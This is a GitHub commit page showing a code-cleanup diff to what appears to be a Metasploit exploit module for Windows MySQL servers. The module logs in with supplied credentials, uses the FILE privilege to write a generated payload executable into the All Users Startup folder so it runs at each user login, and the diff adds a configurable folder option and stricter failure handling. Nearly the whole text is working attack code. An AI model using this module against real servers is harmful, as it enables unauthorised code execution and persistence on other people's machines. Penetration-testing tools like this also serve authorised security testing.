Skip to content

Commit 2c633e4

Browse files
committed
Do code cleanup
1 parent d52e9d4 commit 2c633e4

File tree

1 file changed

+15
-16
lines changed

1 file changed

+15
-16
lines changed

modules/exploits/windows/mysql/mysql_start_up.rb

Lines changed: 15 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,8 @@ def initialize(info = {})
1818
This module takes advantage of a file privilege misconfiguration problem
1919
specifically against Windows MySQL servers. This module abuses the FILE
2020
privilege to write a payload to Microsoft's All Users Start Up directory
21-
which will execute every time a user logs in.
21+
which will execute every time a user logs in. The default All Users Start
22+
Up directory used by the module is Windows 7 friendly.
2223
},
2324
'Author' =>
2425
[
@@ -49,7 +50,8 @@ def initialize(info = {})
4950
register_options(
5051
[
5152
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
52-
OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
53+
OptString.new('PASSWORD', [ true, 'The password to authenticate with']),
54+
OptString.new('STARTUP_FOLDER', [ true, 'The All Users Start Up folder', '/programdata/microsoft/windows/start menu/programs/startup/'])
5355
])
5456
end
5557

@@ -84,7 +86,7 @@ def query(q)
8486

8587
def is_windows?
8688
r = query("SELECT @@version_compile_os;")
87-
return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
89+
r[0]['@@version_compile_os'] =~ /^Win/ ? true : false
8890
end
8991

9092
def get_drive_letter
@@ -103,38 +105,35 @@ def exploit
103105
print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
104106
begin
105107
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
106-
return if not m
107108
rescue RbMysql::AccessDeniedError
108-
print_error("#{peer} - Access denied.")
109-
return
109+
fail_with(Failure::NoAccess, "#{peer} - Access denied")
110110
end
111111

112+
fail_with(Failure::NoAccess, "#{peer} - Unable to Login") unless m
113+
112114
unless is_windows?
113-
print_error("#{peer} - Remote host isn't Windows.")
114-
return
115+
fail_with(Failure::NoTarget, "#{peer} - Remote host isn't Windows")
115116
end
116117

117118
begin
118119
drive = get_drive_letter
119-
return unless drive
120120
rescue RbMysql::ParseError
121-
print_error("Could not determine drive name")
122-
return
121+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name")
123122
end
124123

124+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") unless drive
125+
125126
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
126-
dest = "#{drive}:/programdata/microsoft/windows/start menu/programs/startup/#{exe_name}"
127+
dest = "#{drive}:#{datastore['STARTUP_FOLDER']}#{exe_name}"
127128
exe = generate_payload_exe
128129

129130
print_status("#{peer} - Uploading to '#{dest}'")
130131
begin
131132
upload_file(exe, dest)
132-
register_file_for_cleanup("#{dest}")
133133
rescue RbMysql::AccessDeniedError
134-
print_error("#{peer} - No permission to write. I blame kc :-)")
135-
return
134+
fail_with(Failure::NotVulnerable, "#{peer} - No permission to write. I blame kc :-)")
136135
end
137-
136+
register_file_for_cleanup("#{dest}")
138137
end
139138

140139
end

0 commit comments

Comments
 (0)